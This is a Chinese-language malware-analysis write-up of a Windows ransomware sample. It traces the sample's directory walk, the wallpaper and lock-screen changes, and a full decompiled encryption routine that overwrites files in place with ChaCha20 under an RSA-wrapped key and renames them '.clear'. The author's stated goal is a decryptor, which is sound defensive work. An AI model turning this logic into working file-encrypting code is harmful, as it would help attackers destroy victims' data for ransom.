勒索病毒

image-20260425170630680

这是一个勒索病毒

image-20260425170802329

主函数开头是一个获得私钥的处理

load_public_key();是主要逻辑函数

image-20260425171015999

这里是一个读取磁盘每个文件并加密的过程其中加密逻辑主要在process_directory(v28, v23, v16);中

末尾change_wallpaper_for_all_users();set_lock_screen_for_all_users();分别是替换壁纸和锁定壁纸

现在来看一下process_directory(v28, v23, v16);

image-20260427214521705

函数前面是为了开启线程,让循环加密的时候可以同时是机密多个文件

std::function<void ()(std::string const&)>::operator()(v5, a1);这个是加密的主要逻辑

image-20260425173322605

打开看可以看见有调用了v2函数但是函数调用的地址是偏移调用的所以必须动调来看

image-20260427214557897

接着可以看见又调用了__invoke_r

image-20260425173544172

又调用了__invoke_impl

image-20260425173745629

打开process_directory可以看见主要逻辑

image-20260425173837447

这里可以清楚的看见加密的主要用了lambda(std::string const&)#1}::operator() const(std::string const&)::{lambda(void)#1

我们直接搜索函数lambda(std::string const&)#1}::operator()

image-20260427214320773

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
__int64 __fastcall encrypt_file(__int64 a1, __int64 a2, __int64 a3)
{
const CHAR *v3; // rax
unsigned int v4; // ebx
LARGE_INTEGER v5; // rax
__int64 v6; // rax
DWORD v7; // ebx
void *v8; // rax
__int64 v10; // rbx
__int64 v11; // rdi
__int64 v12; // r12
__int64 v13; // rsi
__int64 v14; // rax
const void *v15; // rax
DWORD v16; // ebx
const void *v17; // rax
__int64 v18; // rbx
__int64 v19; // rax
const CHAR *v20; // rbx
const CHAR *v21; // rax
DWORD NumberOfBytesWritten; // [rsp+4Ch] [rbp-34h] BYREF
char v24[28]; // [rsp+50h] [rbp-30h] BYREF
DWORD NumberOfBytesRead; // [rsp+6Ch] [rbp-14h] BYREF
char v26[32]; // [rsp+70h] [rbp-10h] BYREF
int Buffer[2]; // [rsp+90h] [rbp+10h] BYREF
__int64 v28; // [rsp+98h] [rbp+18h] BYREF
DWORD v29; // [rsp+19Ch] [rbp+11Ch] BYREF
char v30[32]; // [rsp+1A0h] [rbp+120h] BYREF
char v31[32]; // [rsp+1C0h] [rbp+140h] BYREF
char v32[32]; // [rsp+1E0h] [rbp+160h] BYREF
LARGE_INTEGER FileSize; // [rsp+200h] [rbp+180h] BYREF
char v34; // [rsp+20Eh] [rbp+18Eh] BYREF
char v35; // [rsp+20Fh] [rbp+18Fh] BYREF
unsigned __int64 v36; // [rsp+210h] [rbp+190h] BYREF
__int64 v37; // [rsp+218h] [rbp+198h] BYREF
char v38; // [rsp+227h] [rbp+1A7h] BYREF
char *v39; // [rsp+228h] [rbp+1A8h]
char *v40; // [rsp+230h] [rbp+1B0h]
char *v41; // [rsp+238h] [rbp+1B8h]
DWORD nNumberOfBytesToRead[2]; // [rsp+240h] [rbp+1C0h]
unsigned __int64 QuadPart; // [rsp+248h] [rbp+1C8h]
LARGE_INTEGER v44; // [rsp+250h] [rbp+1D0h]
HANDLE hFile; // [rsp+258h] [rbp+1D8h]
__int64 v46; // [rsp+260h] [rbp+1E0h]
unsigned __int64 v47; // [rsp+268h] [rbp+1E8h]

v3 = (const CHAR *)std::string::c_str(a1);
hFile = CreateFileA(v3, 0xC0000000, 1u, 0i64, 3u, 0x80u, 0i64);
if ( hFile == (HANDLE)-1i64 )
{
return 0;
}
else if ( GetFileSizeEx(hFile, &FileSize)
&& ((v44 = FileSize, FileSize.QuadPart > 0x500000000ui64)
? (v5.QuadPart = 0x280000000i64)
: (LONGLONG)(v5 = v44),
(QuadPart = v5.QuadPart) != 0) )
{
v41 = &v34;
std::vector<unsigned char>::vector(v32, 12i64, &v34);
std::__new_allocator<unsigned char>::~__new_allocator(&v34);
v6 = std::vector<unsigned char>::data(v32);
randombytes_buf(v6, 12i64);
encrypt_key_rsa(v31, a2, a3);
if ( (unsigned __int8)std::vector<unsigned char>::empty(v31) )
{
CloseHandle(hFile);
v4 = 0;
}
else
{
v40 = &v35;
std::vector<unsigned char>::vector(v30, 0x800000i64, &v35);
std::__new_allocator<unsigned char>::~__new_allocator(&v35);
v47 = 0i64;
v46 = 0i64;
SetFilePointer(hFile, 0, 0i64, 0);
while ( v47 < QuadPart )
{
v36 = QuadPart - v47;
v37 = 0x800000i64;
*(_QWORD *)nNumberOfBytesToRead = *(_QWORD *)std::min<unsigned long long>(&v37, &v36);
NumberOfBytesRead = 0;
v7 = nNumberOfBytesToRead[0];
v8 = (void *)std::vector<unsigned char>::data(v30);
if ( !ReadFile(hFile, v8, v7, &NumberOfBytesRead, 0i64) || !NumberOfBytesRead )
break;
v39 = &v38;
std::vector<unsigned char>::vector(v24, NumberOfBytesRead, &v38);
std::__new_allocator<unsigned char>::~__new_allocator(&v38);
v10 = std::array<unsigned char,32ull>::data(a2);
v11 = std::vector<unsigned char>::data(v32);
v12 = NumberOfBytesRead;
v13 = std::vector<unsigned char>::data(v30);
v14 = std::vector<unsigned char>::data(v24);
crypto_stream_chacha20_xor_ic(v14, v13, v12, v11, v46, v10);
SetFilePointer(hFile, -NumberOfBytesRead, 0i64, 1u);
LODWORD(v10) = NumberOfBytesRead;
v15 = (const void *)std::vector<unsigned char>::data(v24);
WriteFile(hFile, v15, v10, &NumberOfBytesWritten, 0i64);
v46 += ((unsigned __int64)NumberOfBytesRead + 63) >> 6;
v47 += NumberOfBytesRead;
std::vector<unsigned char>::~vector(v24);
}
SetFilePointer(hFile, 0, 0i64, 2u);
v16 = std::vector<unsigned char>::size(v32);
v17 = (const void *)std::vector<unsigned char>::data(v32);
WriteFile(hFile, v17, v16, &v29, 0i64);
Buffer[0] = 1262836045;
Buffer[1] = std::vector<unsigned char>::size(v31);
v18 = std::vector<unsigned char>::end(v31);
v19 = std::vector<unsigned char>::begin(v31);
std::copy<__gnu_cxx::__normal_iterator<unsigned char *,std::vector<unsigned char>>,unsigned char *>(
v19,
v18,
&v28);
WriteFile(hFile, Buffer, 0x108u, &v29, 0i64);
CloseHandle(hFile);
std::operator+<char>(v26, a1, ".clear");
v20 = (const CHAR *)std::string::c_str(v26);
v21 = (const CHAR *)std::string::c_str(a1);
MoveFileExA(v21, v20, 1u);
v4 = 1;
std::string::~string(v26);
std::vector<unsigned char>::~vector(v30);
}
std::vector<unsigned char>::~vector(v31);
std::vector<unsigned char>::~vector(v32);
}
else
{
CloseHandle(hFile);
return 0;
}
return v4;
}

可以非常明白的看见加密逻辑,所有被加密的都会加上.clear,这个是分析等我看看能不能写一个解密器